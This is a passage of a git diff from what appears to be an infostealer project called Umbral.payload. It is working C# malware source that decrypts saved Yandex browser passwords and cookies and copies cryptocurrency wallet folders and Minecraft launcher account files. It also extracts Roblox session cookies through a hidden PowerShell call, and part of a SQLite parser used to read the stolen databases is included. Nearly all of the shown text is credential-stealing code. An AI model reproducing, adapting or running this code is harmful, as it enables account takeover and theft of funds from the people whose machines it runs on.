cookiesFilePaths) + try + { + retry: + string tempCookiesFilePath = Path.Combine(Path.GetTempPath(), Common.GenerateRandomString(15)); + if (File.Exists(tempCookiesFilePath)) goto retry; + + File.Copy(cookiesFilePath, tempCookiesFilePath); + + SQLiteHandler handler = new SQLiteHandler(tempCookiesFilePath); + + if (!handler.ReadTable("cookies")) + continue; + + for (int i = 0; i < handler.GetRowCount(); i++) + { + string host = handler.GetValue(i, "host_key"); + string name = handler.GetValue(i, "name"); + string path = handler.GetValue(i, "path"); + byte[] encryptedCookie = Encoding.Default.GetBytes(handler.GetValue(i, "encrypted_value")); + ulong expiry = Convert.ToUInt64(handler.GetValue(i, "expires_utc")); + + byte[] cookie = await DecryptData(encryptedCookie); + + if (!string.IsNullOrWhiteSpace(host) && !string.IsNullOrWhiteSpace(name) && !(cookie is null) && + cookie.Length > 0) + cookies.Add(new CookieFormat(host, name, path, Encoding.UTF8.GetString(cookie), expiry)); + } + + File.Delete(tempCookiesFilePath); + } + catch (Exception e) + { + Console.WriteLine(e); + } + } + + return cookies.ToArray(); + } + } } \ No newline at end of file diff --git a/Umbral.payload/Browsers/Yandex.cs b/Umbral.payload/Components/Browsers/Yandex.cs similarity index 96% rename from Umbral.payload/Browsers/Yandex.cs rename to Umbral.payload/Components/Browsers/Yandex.cs index f969cad..97d439d 100644 --- a/Umbral.payload/Browsers/Yandex.cs +++ b/Umbral.payload/Components/Browsers/Yandex.cs @@ -1,202 +1,203 @@ -using System; -using System.Collections.Generic; -using System.IO; -using System.Linq; -using System.Security.Cryptography; -using System.Text; -using System.Threading.Tasks; -using Umbral.payload.Handlers; -using Umbral.payload.Utilities; - -namespace Umbral.payload.Browsers -{ - internal static class Yandex - { - static private readonly string BrowserPath; - - static private byte[] _encryptionKey; - - static Yandex() - { - BrowserPath = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData), - "Yandex", "YandexBrowser", "User Data"); - - _encryptionKey = null; - } - - static private async Task GetEncryptionKey() - { - if (!(_encryptionKey is null)) return _encryptionKey; - - byte[] key = null; - - string localStatePath = Path.Combine(BrowserPath, "Local State"); - if (File.Exists(localStatePath)) - try - { - string content; - - using (FileStream fs = new FileStream(localStatePath, FileMode.Open, FileAccess.Read, - FileShare.ReadWrite)) - { - using (StreamReader reader = new StreamReader(fs)) - { - content = await reader.ReadToEndAsync(); - } - } - - dynamic jsonContent = SimpleJson.DeserializeObject(content); - string encryptedKey = (string)jsonContent["os_crypt"]["encrypted_key"]; - key = ProtectedData.Unprotect(Convert.FromBase64String(encryptedKey).Skip(5).ToArray(), null, - DataProtectionScope.CurrentUser); - } - catch (Exception e) - { - Console.WriteLine(e); - } - - if (!(key is null)) - { - _encryptionKey = key; - return _encryptionKey; - } - - return null; - } - - static private async Task DecryptData(byte[] buffer) - { - byte[] decryptedData = null; - byte[] key = await GetEncryptionKey(); - - if (key is null) - { - return null; - } - - try - { - - string bufferString = Encoding.Default.GetString(buffer); - if (bufferString.StartsWith("v10") || bufferString.StartsWith("v11")) - { - byte[] iv = buffer.Skip(3).Take(12).ToArray(); - byte[] cipherText = buffer.Skip(15).ToArray(); - - byte[] tag = cipherText.Skip(cipherText.Length - 16).ToArray(); - cipherText = cipherText.Take(cipherText.Length - tag.Length).ToArray(); - - decryptedData = new AesGcm().Decrypt(key, iv, null, cipherText, tag); - } - else - { - decryptedData = ProtectedData.Unprotect(buffer, null, DataProtectionScope.CurrentUser); - } - } - catch (Exception e) - { - Console.WriteLine(e); - } - - return decryptedData; - } - - internal static async Task GetPasswords() - { - var passwords = new List(); - - if (Directory.Exists(BrowserPath) && !(await GetEncryptionKey() is null)) - { - string[] loginDataPaths = await Task.Run(() => - Directory.GetFiles(BrowserPath, "Login Data", SearchOption.AllDirectories)); - - foreach (string loginDataPath in loginDataPaths) - try - { - retry: - string tempLoginDataPath = Path.Combine(Path.GetTempPath(), Common.GenerateRandomString(15)); - if (File.Exists(tempLoginDataPath)) goto retry; - - File.Copy(loginDataPath, tempLoginDataPath); - - SQLiteHandler handler = new SQLiteHandler(tempLoginDataPath); - - if (!handler.ReadTable("logins")) - continue; - - for (int i = 0; i < handler.GetRowCount(); i++) - { - string url = handler.GetValue(i, "origin_url"); - string username = handler.GetValue(i, "username_value"); - byte[] encryptedPassword = Encoding.Default.GetBytes(handler.GetValue(i, "password_value")); - - byte[] password = await DecryptData(encryptedPassword); - - if (!string.IsNullOrWhiteSpace(url) && !string.IsNullOrWhiteSpace(username) && - !(password is null) && password.Length > 0) - { - passwords.Add(new PasswordFormat(username, Encoding.UTF8.GetString(password), url)); - } - } - - File.Delete(tempLoginDataPath); - } - catch (Exception e) - { - Console.WriteLine(e); - } - } - - return passwords.ToArray(); - } - - internal static async Task GetCookies() - { - var cookies = new List(); - - if (Directory.Exists(BrowserPath) && !(await GetEncryptionKey() is null)) - { - string[] cookiesFilePaths = await Task.Run(() => - Directory.GetFiles(BrowserPath, "Cookies", SearchOption.AllDirectories)); - - foreach (string cookiesFilePath in cookiesFilePaths) - try - { - retry: - string tempCookiesFilePath = Path.Combine(Path.GetTempPath(), Common.GenerateRandomString(15)); - if (File.Exists(tempCookiesFilePath)) goto retry; - - File.Copy(cookiesFilePath, tempCookiesFilePath); - - SQLiteHandler handler = new SQLiteHandler(tempCookiesFilePath); - - if (!handler.ReadTable("cookies")) - continue; - - for (int i = 0; i < handler.GetRowCount(); i++) - { - string host = handler.GetValue(i, "host_key"); - string name = handler.GetValue(i, "name"); - string path = handler.GetValue(i, "path"); - byte[] encryptedCookie = Encoding.Default.GetBytes(handler.GetValue(i, "encrypted_value")); - ulong expiry = Convert.ToUInt64(handler.GetValue(i, "expires_utc")); - - byte[] cookie = await DecryptData(encryptedCookie); - - if (!string.IsNullOrWhiteSpace(host) && !string.IsNullOrWhiteSpace(name) && !(cookie is null) && - cookie.Length > 0) - cookies.Add(new CookieFormat(host, name, path, Encoding.UTF8.GetString(cookie), expiry)); - } - - File.Delete(tempCookiesFilePath); - } - catch (Exception e) - { - Console.WriteLine(e); - } - } - - return cookies.ToArray(); - } - } +using System; +using System.Collections.Generic; +using System.IO; +using System.Linq; +using System.Security.Cryptography; +using System.Text; +using System.Threading.Tasks; +using Umbral.payload.Components.Helpers; +using Umbral.payload.Components.Algorithms; +using Umbral.payload.Components.Utilities; + +namespace Umbral.payload.Components.Browsers +{ + internal static class Yandex + { + static private readonly string BrowserPath; + + static private byte[] _encryptionKey; + + static Yandex() + { + BrowserPath = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData), + "Yandex", "YandexBrowser", "User Data"); + + _encryptionKey = null; + } + + static private async Task GetEncryptionKey() + { + if (!(_encryptionKey is null)) return _encryptionKey; + + byte[] key = null; + + string localStatePath = Path.Combine(BrowserPath, "Local State"); + if (File.Exists(localStatePath)) + try + { + string content; + + using (FileStream fs = new FileStream(localStatePath, FileMode.Open, FileAccess.Read, + FileShare.ReadWrite)) + { + using (StreamReader reader = new StreamReader(fs)) + { + content = await reader.ReadToEndAsync(); + } + } + + dynamic jsonContent = SimpleJson.DeserializeObject(content); + string encryptedKey = (string)jsonContent["os_crypt"]["encrypted_key"]; + key = ProtectedData.Unprotect(Convert.FromBase64String(encryptedKey).Skip(5).ToArray(), null, + DataProtectionScope.CurrentUser); + } + catch (Exception e) + { + Console.WriteLine(e); + } + + if (!(key is null)) + { + _encryptionKey = key; + return _encryptionKey; + } + + return null; + } + + static private async Task DecryptData(byte[] buffer) + { + byte[] decryptedData = null; + byte[] key = await GetEncryptionKey(); + + if (key is null) + { + return null; + } + + try + { + + string bufferString = Encoding.Default.GetString(buffer); + if (bufferString.StartsWith("v10") || bufferString.StartsWith("v11")) + { + byte[] iv = buffer.Skip(3).Take(12).ToArray(); + byte[] cipherText = buffer.Skip(15).ToArray(); + + byte[] tag = cipherText.Skip(cipherText.Length - 16).ToArray(); + cipherText = cipherText.Take(cipherText.Length - tag.Length).ToArray(); + + decryptedData = new AesGcm().Decrypt(key, iv, null, cipherText, tag); + } + else + { + decryptedData = ProtectedData.Unprotect(buffer, null, DataProtectionScope.CurrentUser); + } + } + catch (Exception e) + { + Console.WriteLine(e); + } + + return decryptedData; + } + + internal static async Task GetPasswords() + { + var passwords = new List(); + + if (Directory.Exists(BrowserPath) && !(await GetEncryptionKey() is null)) + { + string[] loginDataPaths = await Task.Run(() => + Directory.GetFiles(BrowserPath, "Login Data", SearchOption.AllDirectories)); + + foreach (string loginDataPath in loginDataPaths) + try + { + retry: + string tempLoginDataPath = Path.Combine(Path.GetTempPath(), Common.GenerateRandomString(15)); + if (File.Exists(tempLoginDataPath)) goto retry; + + File.Copy(loginDataPath, tempLoginDataPath); + + SQLiteHandler handler = new SQLiteHandler(tempLoginDataPath); + + if (!handler.ReadTable("logins")) + continue; + + for (int i = 0; i < handler.GetRowCount(); i++) + { + string url = handler.GetValue(i, "origin_url"); + string username = handler.GetValue(i, "username_value"); + byte[] encryptedPassword = Encoding.Default.GetBytes(handler.GetValue(i, "password_value")); + + byte[] password = await DecryptData(encryptedPassword); + + if (!string.IsNullOrWhiteSpace(url) && !string.IsNullOrWhiteSpace(username) && + !(password is null) && password.Length > 0) + { + passwords.Add(new PasswordFormat(username, Encoding.UTF8.GetString(password), url)); + } + } + + File.Delete(tempLoginDataPath); + } + catch (Exception e) + { + Console.WriteLine(e); + } + } + + return passwords.ToArray(); + } + + internal static async Task GetCookies() + { + var cookies = new List(); + + if (Directory.Exists(BrowserPath) && !(await GetEncryptionKey() is null)) + { + string[] cookiesFilePaths = await Task.Run(() => + Directory.GetFiles(BrowserPath, "Cookies", SearchOption.AllDirectories)); + + foreach (string cookiesFilePath in cookiesFilePaths) + try + { + retry: + string tempCookiesFilePath = Path.Combine(Path.GetTempPath(), Common.GenerateRandomString(15)); + if (File.Exists(tempCookiesFilePath)) goto retry; + + File.Copy(cookiesFilePath, tempCookiesFilePath); + + SQLiteHandler handler = new SQLiteHandler(tempCookiesFilePath); + + if (!handler.ReadTable("cookies")) + continue; + + for (int i = 0; i < handler.GetRowCount(); i++) + { + string host = handler.GetValue(i, "host_key"); + string name = handler.GetValue(i, "name"); + string path = handler.GetValue(i, "path"); + byte[] encryptedCookie = Encoding.Default.GetBytes(handler.GetValue(i, "encrypted_value")); + ulong expiry = Convert.ToUInt64(handler.GetValue(i, "expires_utc")); + + byte[] cookie = await DecryptData(encryptedCookie); + + if (!string.IsNullOrWhiteSpace(host) && !string.IsNullOrWhiteSpace(name) && !(cookie is null) && + cookie.Length > 0) + cookies.Add(new CookieFormat(host, name, path, Encoding.UTF8.GetString(cookie), expiry)); + } + + File.Delete(tempCookiesFilePath); + } + catch (Exception e) + { + Console.WriteLine(e); + } + } + + return cookies.ToArray(); + } + } } \ No newline at end of file diff --git a/Umbral.payload/Components/Crypto/WalletStealer.cs b/Umbral.payload/Components/Crypto/WalletStealer.cs new file mode 100644 index 0000000..c95af97 --- /dev/null +++ b/Umbral.payload/Components/Crypto/WalletStealer.cs @@ -0,0 +1,74 @@ +using System; +using System.Collections.Generic; +using System.IO; +using System.Linq; +using System.Text; +using System.Threading.Tasks; +using Umbral.payload.Components.Utilities; + +namespace Umbral.payload.Components.Crypto +{ + internal static class WalletStealer + { + static private Dictionary _walletPaths; + + static WalletStealer() + { + var appdata = Environment.GetEnvironmentVariable("appdata"); + var localappdata = Environment.GetEnvironmentVariable("localappdata"); + + _walletPaths = new Dictionary() + { + { "Zcash", Path.Combine(appdata, "Zcash") }, + { "Armory", Path.Combine(appdata, "Armory") }, + { "Bytecoin", Path.Combine(appdata, "Bytecoin") }, + { "Jaxx", Path.Combine(appdata, "com.liberty.jaxx", "IndexedDB", "file_0.indexeddb.leveldb") }, + { "Exodus", Path.Combine(appdata, "Exodus", "exodus.wallet") }, + { "Ethereum", Path.Combine(appdata, "Ethereum", "keystore") }, + { "Electrum", Path.Combine(appdata, "Electrum", "wallets") }, + { "AtomicWallet", Path.Combine(appdata, "atomic", "Local Storage", "leveldb") }, + { "Guarda", Path.Combine(appdata, "Guarda", "Local Storage", "leveldb") }, + { "Coinomi", Path.Combine(localappdata, "Coinomi", "Coinomi", "wallets") }, + }; + } + + internal static async Task StealWallets(string dst) + { + var count = 0; + + foreach(var item in _walletPaths) + { + if (Directory.Exists(item.Value)) + { + DirectoryInfo outDir = null; + var saveToDir = Path.Combine(dst, item.Key); + try + { + outDir = Directory.CreateDirectory(saveToDir); + Common.CopyTree(item.Value, saveToDir); + using (FileStream fs = new FileStream(Path.Combine(saveToDir, "Source.txt"), FileMode.Create, FileAccess.Write, FileShare.Read)) + { + using (StreamWriter writer = new StreamWriter(fs)) + { + await writer.WriteAsync($"Source: {item.Value}"); + } + } + + count++; + } + catch (Exception ex) + { + try + { + outDir?.Delete(true); + } + catch { } + Console.WriteLine(ex); + } + } + } + + return count; + } + } +} diff --git a/Umbral.payload/Components/Games/Minecraft/Minecraft.cs b/Umbral.payload/Components/Games/Minecraft/Minecraft.cs new file mode 100644 index 0000000..7ceaf81 --- /dev/null +++ b/Umbral.payload/Components/Games/Minecraft/Minecraft.cs @@ -0,0 +1,70 @@ +using System; +using System.Collections.Generic; +using System.IO; +using System.Threading.Tasks; + +namespace Umbral.payload.Games.Minecraft +{ + internal static class MinecraftStealer + { + static private readonly Dictionary _minecraftFolderPaths; + + static MinecraftStealer() + { + string roamingPath = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData); + string userprofile = Environment.GetEnvironmentVariable("userprofile"); + _minecraftFolderPaths = new Dictionary + { + { "Intent" , Path.Combine(userprofile, "intentlauncher", "launcherconfig") }, + { "Lunar" , Path.Combine(userprofile, ".lunarclient", "settings", "game", "accounts.json") }, + { "TLauncher" , Path.Combine(roamingPath, ".minecraft", "TlauncherProfiles.json") }, + { "Feather" , Path.Combine(roamingPath, ".feather", "accounts.json") }, + { "Meteor" , Path.Combine(roamingPath, ".minecraft", "meteor-client", "accounts.nbt") }, + { "Impact" , Path.Combine(roamingPath, ".minecraft", "Impact", "alts.json") }, + { "Novoline" , Path.Combine(roamingPath, ".minectaft", "Novoline", "alts.novo") }, + { "CheatBreakers" , Path.Combine(roamingPath, ".minecraft", "cheatbreaker_accounts.json") }, + { "Microsoft Store" , Path.Combine(roamingPath, ".minecraft", "launcher_accounts_microsoft_store.json") }, + { "Rise" , Path.Combine(roamingPath, ".minecraft", "Rise", "alts.txt") }, + { "Rise (Intent)" , Path.Combine(userprofile, "intentlauncher", "Rise", "alts.txt") }, + { "Paladium" , Path.Combine(roamingPath, "paladium-group", "accounts.json") }, + { "PolyMC" , Path.Combine(roamingPath, "PolyMC", "accounts.json") }, + { "Badlion" , Path.Combine(roamingPath, "Badlion Client", "accounts.json") }, + }; + } + + internal static async Task StealMinecraftSessionFiles(string dst) + { + int collected = 0; + foreach (var item in _minecraftFolderPaths) + { + if (File.Exists(item.Value)) + { + DirectoryInfo destDir = null; + try + { + var saveToDir = Path.Combine(dst, item.Key); + destDir = Directory.CreateDirectory(saveToDir); + File.Copy(item.Value, Path.Combine(saveToDir, Path.GetFileName(item.Value))); + using (FileStream fs = new FileStream(Path.Combine(saveToDir, "Source.txt"), FileMode.Create, FileAccess.Write, FileShare.Read)) + { + using (StreamWriter writer = new StreamWriter(fs)) + { + await writer.WriteAsync($"Source: {item.Value}"); + } + } + collected++; + } catch (Exception ex) + { + try + { + destDir?.Delete(true); + } + catch { } + Console.WriteLine(ex); + } + } + } + return collected; + } + } +} \ No newline at end of file diff --git a/Umbral.payload/Games/Roblox/Roblox.cs b/Umbral.payload/Components/Games/Roblox/Roblox.cs similarity index 96% rename from Umbral.payload/Games/Roblox/Roblox.cs rename to Umbral.payload/Components/Games/Roblox/Roblox.cs index 2725992..0b3d2c7 100644 --- a/Umbral.payload/Games/Roblox/Roblox.cs +++ b/Umbral.payload/Components/Games/Roblox/Roblox.cs @@ -1,64 +1,64 @@ -using System.Collections.Generic; -using System.Diagnostics; -using System.Linq; -using System.Text.RegularExpressions; -using System.Threading.Tasks; -using Umbral.payload.Browsers; - -namespace Umbral.payload.Games.Roblox -{ - internal static class RobloxCookieStealer - { - static private readonly List RobloxCookies; - - static RobloxCookieStealer() - { - RobloxCookies = new List(); - } - - internal static async Task GetCookies(params Task[] getBrowserCookiesTasks) - { - Regex regex = - new Regex( - @"_\|WARNING:-DO-NOT-SHARE-THIS.--Sharing-this-will-allow-someone-to-log-in-as-you-and-to-steal-your-ROBUX-and-items\.\|_[A-Z0-9]+", - RegexOptions.Compiled); - - foreach (string key in new[] { "HKCU", "HKLN" }) - - using (Process process = new Process()) - { - process.StartInfo.FileName = "powershell.exe"; - process.StartInfo.Arguments = - $"Get-ItemPropertyValue -Path {key}:SOFTWARE\\Roblox\\RobloxStudioBrowser\\roblox.com -Name .ROBLOSECURITY"; - process.StartInfo.RedirectStandardOutput = true; - process.StartInfo.CreateNoWindow = true; - process.StartInfo.UseShellExecute = false; - process.Start(); - process.WaitForExit(); - if (process.ExitCode == 0) - { - MatchCollection matches = regex.Matches(await process.StandardOutput.ReadToEndAsync()); - foreach (Match match in matches) - { - string cookie = match.Value; - if (!RobloxCookies.Contains(cookie)) RobloxCookies.Add(cookie); - } - } - } - - foreach (var getBrowserCookieTask in getBrowserCookiesTasks) - { - var browserCookies = await getBrowserCookieTask; - foreach (string cookie in browserCookies - .Where(p => regex.IsMatch(p.Cookie)) - .Select(p => p.Cookie) - .ToArray() - ) - if (!RobloxCookies.Contains(cookie)) - RobloxCookies.Add(cookie); - } - - return RobloxCookies.ToArray(); - } - } +using System.Collections.Generic; +using System.Diagnostics; +using System.Linq; +using System.Text.RegularExpressions; +using System.Threading.Tasks; +using Umbral.payload.Components.Browsers; + +namespace Umbral.payload.Games.Roblox +{ + internal static class RobloxCookieStealer + { + static private readonly List RobloxCookies; + + static RobloxCookieStealer() + { + RobloxCookies = new List(); + } + + internal static async Task GetCookies(params Task[] getBrowserCookiesTasks) + { + Regex regex = + new Regex( + @"_\|WARNING:-DO-NOT-SHARE-THIS.--Sharing-this-will-allow-someone-to-log-in-as-you-and-to-steal-your-ROBUX-and-items\.\|_[A-Z0-9]+", + RegexOptions.Compiled); + + foreach (string key in new[] { "HKCU", "HKLN" }) + + using (Process process = new Process()) + { + process.StartInfo.FileName = "powershell.exe"; + process.StartInfo.Arguments = + $"Get-ItemPropertyValue -Path {key}:SOFTWARE\\Roblox\\RobloxStudioBrowser\\roblox.com -Name .ROBLOSECURITY"; + process.StartInfo.RedirectStandardOutput = true; + process.StartInfo.CreateNoWindow = true; + process.StartInfo.UseShellExecute = false; + process.Start(); + process.WaitForExit(); + if (process.ExitCode == 0) + { + MatchCollection matches = regex.Matches(await process.StandardOutput.ReadToEndAsync()); + foreach (Match match in matches) + { + string cookie = match.Value; + if (!RobloxCookies.Contains(cookie)) RobloxCookies.Add(cookie); + } + } + } + + foreach (var getBrowserCookieTask in getBrowserCookiesTasks) + { + var browserCookies = await getBrowserCookieTask; + foreach (string cookie in browserCookies + .Where(p => regex.IsMatch(p.Cookie)) + .Select(p => p.Cookie) + .ToArray() + ) + if (!RobloxCookies.Contains(cookie)) + RobloxCookies.Add(cookie); + } + + return RobloxCookies.ToArray(); + } + } } \ No newline at end of file diff --git a/Umbral.payload/Handlers/SQLiteHandler.cs b/Umbral.payload/Components/Helpers/SQLiteHandler.cs similarity index 97% rename from Umbral.payload/Handlers/SQLiteHandler.cs rename to Umbral.payload/Components/Helpers/SQLiteHandler.cs index ac5e216..0b5a945 100644 --- a/Umbral.payload/Handlers/SQLiteHandler.cs +++ b/Umbral.payload/Components/Helpers/SQLiteHandler.cs @@ -1,524 +1,524 @@ -using System; -using System.Collections.Generic; -using System.IO; -using System.Runtime.InteropServices; -using System.Text; - -namespace Umbral.payload.Handlers -{ - public class SQLiteHandler - { - private readonly byte[] db_bytes; - private readonly ulong encoding; - private string[] field_names = new string[1]; - private sqlite_master_entry[] master_table_entries; - private readonly ushort page_size; - private readonly byte[] SQLDataTypeSize = { 0, 1, 2, 3, 4, 6, 8, 8, 0, 0 }; - private table_entry[] table_entries; - - public SQLiteHandler(string baseName) - { - if (File.Exists(baseName)) - { - db_bytes = File.ReadAllBytes(baseName); - if (Encoding.Default.GetString(db_bytes, 0, 15).CompareTo("SQLite format 3") != 0) - { - throw new Exception("Not a valid SQLite 3 Database File"); - } - - if (db_bytes[0x34] != 0) - { - throw new Exception("Auto-vacuum capable database is not supported"); - } - - //if (decimal.Compare(new decimal(this.ConvertToInteger(0x2c, 4)), 4M) >= 0) - //{ - // throw new Exception("No supported Schema layer file-format"); - //} - page_size = (ushort)ConvertToInteger(0x10, 2); - encoding = ConvertToInteger(0x38, 4); - if (decimal.Compare(new decimal(encoding), decimal.Zero) == 0) - { - encoding = 1L; - } - - ReadMasterTable(100L); - } - } - - private ulong ConvertToInteger(int startIndex, int Size) - { - if (Size > 8 | Size == 0) - { - return 0L; - } - - ulong num2 = 0L; - int num4 = Size - 1; - for (int i = 0; i <= num4; i++) - { - num2 = num2 << 8 | db_bytes[startIndex + i]; - } - - return num2; - } - - private long CVL(int startIndex, int endIndex) - { - endIndex++; - byte[] buffer = new byte[8]; - int num4 = endIndex - startIndex; - bool flag = false; - if (num4 == 0 | num4 > 9) - { - return 0L; - } - - if (num4 == 1) - { - buffer[0] = (byte)(db_bytes[startIndex] & 0x7f); - return BitConverter.ToInt64(buffer, 0); - } - - if (num4 == 9) - { - flag = true; - } - - int num2 = 1; - int num3 = 7; - int index = 0; - if (flag) - { - buffer[0] = db_bytes[endIndex - 1]; - endIndex--; - index = 1; - } - - int num7 = startIndex; - for (int i = endIndex - 1; i >= num7; i += -1) - { - if (i - 1 >= startIndex) - { - buffer[index] = (byte)((byte)(db_bytes[i] >> (num2 - 1 & 7)) & 0xff >> num2 | (byte)(db_bytes[i - 1] << (num3 & 7))); - num2++; - index++; - num3--; - } - else if (!flag) - { - buffer[index] = (byte)((byte)(db_bytes[i] >> (num2 - 1 & 7)) & 0xff >> num2); - } - } - - return BitConverter.ToInt64(buffer, 0); - } - - public int GetRowCount() - { - return table_entries.Length; - } - - public string[] GetTableNames() - { - var tableNames = new List(); - int num3 = master_table_entries.Length - 1; - for (int i = 0; i <= num3; i++) - { - if (master_table_entries[i].item_type == "table") - { - tableNames.Add(master_table_entries[i].item_name); - } - } - - return tableNames.ToArray(); - } - - public string GetValue(int row_num, int field) - { - if (row_num >= table_entries.Length) - { - return null; - } - - if (field >= table_entries[row_num].content.Length) - { - return null; - } - - return table_entries[row_num].content[field]; - } - - public string GetValue(int row_num, string field) - { - int num = -1; - int length = field_names.Length - 1; - for (int i = 0; i <= length; i++) - { - if (field_names[i].ToLower().CompareTo(field.ToLower()) == 0) - { - num = i; - break; - } - } - - if (num == -1) - { - return null; - } - - return GetValue(row_num, num); - } - - private int GVL(int startIndex) - { - if (startIndex > db_bytes.Length) - { - return 0; - } - - int num3 = startIndex + 8; - for (int i = startIndex; i <= num3; i++) - { - if (i > db_bytes.Length - 1) - { - return 0; - } - - if ((db_bytes[i] & 0x80) != 0x80) - { - return i; - } - } - - return startIndex + 8; - } - - private bool IsOdd(long value) - { - return (value & 1L) == 1L; - } - - private void ReadMasterTable(ulong Offset) - { - if (db_bytes[(int)Offset] == 13) - { - ushort num2 = Convert.ToUInt16(decimal.Subtract(new decimal(ConvertToInteger(Convert.ToInt32(decimal.Add(new decimal(Offset), 3M)), 2)), decimal.One)); - int length = 0; - if (master_table_entries != null) - { - length = master_table_entries.Length; - Array.Resize(ref master_table_entries, master_table_entries.Length + num2 + 1); - } - else - { - master_table_entries = new sqlite_master_entry[num2 + 1]; - } - - int num13 = num2; - for (int i = 0; i <= num13; i++) - { - ulong num = ConvertToInteger(Convert.ToInt32(decimal.Add(decimal.Add(new decimal(Offset), 8M), new decimal(i * 2))), 2); - if (decimal.Compare(new decimal(Offset), 100M) != 0) - { - num += Offset; - } - - int endIndex = GVL((int)num); - long num7 = CVL((int)num, endIndex); - int num6 = GVL(Convert.ToInt32(decimal.Add(decimal.Add(new decimal(num), decimal.Subtract(new decimal(endIndex), new decimal(num))), decimal.One))); - master_table_entries[length + i].row_id = CVL(Convert.ToInt32(decimal.Add(decimal.Add(new decimal(num), decimal.Subtract(new decimal(endIndex), new decimal(num))), decimal.One)), - num6); - num = Convert.ToUInt64(decimal.Add(decimal.Add(new decimal(num), decimal.Subtract(new decimal(num6), new decimal(num))), decimal.One)); - endIndex = GVL((int)num); - num6 = endIndex; - long num5 = CVL((int)num, endIndex); - long[] numArray = new long[5]; - int index = 0; - do - { - endIndex = num6 + 1; - num6 = GVL(endIndex); - numArray[index] = CVL(endIndex, num6); - if (numArray[index] > 9L) - { - if (IsOdd(numArray[index])) - { - numArray[index] = (long)Math.Round((numArray[index] - 13L) / 2.0); - } - else - { - numArray[index] = (long)Math.Round((numArray[index] - 12L) / 2.0); - } - } - else - { - numArray[index] = SQLDataTypeSize[(int)numArray[index]]; - } - - index++; - } while (index <= 4); - - if (decimal.Compare(new decimal(encoding), decimal.One) == 0) - { - master_table_entries[length + i].item_type = Encoding.Default.GetString(db_bytes, Convert.ToInt32(decimal.Add(new decimal(num), new decimal(num5))), (int)numArray[0]); - } - else if (decimal.Compare(new decimal(encoding), 2M) == 0) - { - master_table_entries[length + i].item_type = Encoding.Unicode.GetString(db_bytes, Convert.ToInt32(decimal.Add(new decimal(num), new decimal(num5))), (int)numArray[0]); - } - else if (decimal.Compare(new decimal(encoding), 3M) == 0) - { - master_table_entries[length + i].item_type = Encoding.BigEndianUnicode.GetString(db_bytes, Convert.ToInt32(decimal.Add(new decimal(num), new decimal(num5))), (int)numArray[0]); - } - - if (decimal.Compare(new decimal(encoding), decimal.One) == 0) - { - master_table_entries[length + i].item_name = Encoding.Default.GetString(db_bytes, - Convert.ToInt32(decimal.Add(decimal.Add(new decimal(num), new decimal(num5)), new decimal(numArray[0]))), (int)numArray[1]); - } - else if (decimal.Compare(new decimal(encoding), 2M) == 0) - { - master_table_entries[length + i].item_name = Encoding.Unicode.GetString(db_bytes, - Convert.ToInt32(decimal.Add(decimal.Add(new decimal(num), new decimal(num5)), new decimal(numArray[0]))), (int)numArray[1]); - } - else if (decimal.Compare(new decimal(encoding), 3M) == 0) - { - master_table_entries[length + i].item_name = Encoding.BigEndianUnicode.GetString(db_bytes, - Convert.ToInt32(decimal.Add(decimal.Add(new decimal(num), new decimal(num5)), new decimal(numArray[0]))), (int)numArray[1]); - } - - master_table_entries[length + i].root_num = - (long)ConvertToInteger( - Convert.ToInt32(decimal.Add(decimal.Add(decimal.Add(decimal.Add(new decimal(num), new decimal(num5)), new decimal(numArray[0])), new decimal(numArray[1])), - new decimal(numArray[2]))), (int)numArray[3]); - if (decimal.Compare(new decimal(encoding), decimal.One) == 0) - { - master_table_entries[length + i].sql_statement = Encoding.Default.GetString(db_bytes, - Convert.ToInt32(decimal.Add( - decimal.Add(decimal.Add(decimal.Add(decimal.Add(new decimal(num), new decimal(num5)), new decimal(numArray[0])), new decimal(numArray[1])), new decimal(numArray[2])), - new decimal(numArray[3]))), (int)numArray[4]); - } - else if (decimal.Compare(new decimal(encoding), 2M) == 0) - { - master_table_entries[length + i].sql_statement = Encoding.Unicode.GetString(db_bytes, - Convert.ToInt32(decimal.Add( - decimal.Add(decimal.Add(decimal.Add(decimal.Add(new decimal(num), new decimal(num5)), new decimal(numArray[0])), new decimal(numArray[1])), new decimal(numArray[2])), - new decimal(numArray[3]))), (int)numArray[4]); - } - else if (decimal.Compare(new decimal(encoding), 3M) == 0) - { - master_table_entries[length + i].sql_statement = Encoding.BigEndianUnicode.GetString(db_bytes, - Convert.ToInt32(decimal.Add( - decimal.Add(decimal.Add(decimal.Add(decimal.Add(new decimal(num), new decimal(num5)), new decimal(numArray[0])), new decimal(numArray[1])), new decimal(numArray[2])), - new decimal(numArray[3]))), (int)numArray[4]); - } - } - } - else if (db_bytes[(int)Offset] == 5) - { - ushort num11 = Convert.ToUInt16(decimal.Subtract(new decimal(ConvertToInteger(Convert.ToInt32(decimal.Add(new decimal(Offset), 3M)), 2)), decimal.One)); - int num14 = num11; - for (int j = 0; j <= num14; j++) - { - ushort startIndex = (ushort)ConvertToInteger(Convert.ToInt32(decimal.Add(decimal.Add(new decimal(Offset), 12M), new decimal(j * 2))), 2); - if (decimal.Compare(new decimal(Offset), 100M) == 0) - { - ReadMasterTable(Convert.ToUInt64(decimal.Multiply(decimal.Subtract(new decimal(ConvertToInteger(startIndex, 4)), decimal.One), new decimal(page_size)))); - } - else - { - ReadMasterTable(Convert.ToUInt64(decimal.Multiply(decimal.Subtract(new decimal(ConvertToInteger((int)(Offset + startIndex), 4)), decimal.One), new decimal(page_size)))); - } - } - - ReadMasterTable(Convert.ToUInt64(decimal.Multiply(decimal.Subtract(new decimal(ConvertToInteger(Convert.ToInt32(decimal.Add(new decimal(Offset), 8M)), 4)), decimal.One), - new decimal(page_size)))); - } - } - - public bool ReadTable(string TableName) - { - int index = -1; - int length = master_table_entries.Length - 1; - for (int i = 0; i <= length; i++) - { - if (master_table_entries[i].item_name.ToLower().CompareTo(TableName.ToLower()) == 0) - { - index = i; - break; - } - } - - if (index == -1) - { - return false; - } - - string[] strArray = master_table_entries[index].sql_statement.Substring(master_table_entries[index].sql_statement.IndexOf("(") + 1).Split(','); - int num6 = strArray.Length - 1; - for (int j = 0; j <= num6; j++) - { - strArray[j] = strArray[j].TrimStart(); - int num4 = strArray[j].IndexOf(" "); - if (num4 > 0) - { - strArray[j] = strArray[j].Substring(0, num4); - } - - if (strArray[j].IndexOf("UNIQUE") == 0) - { - break; - } - - Array.Resize(ref field_names, j + 1); - field_names[j] = strArray[j]; - } - - return 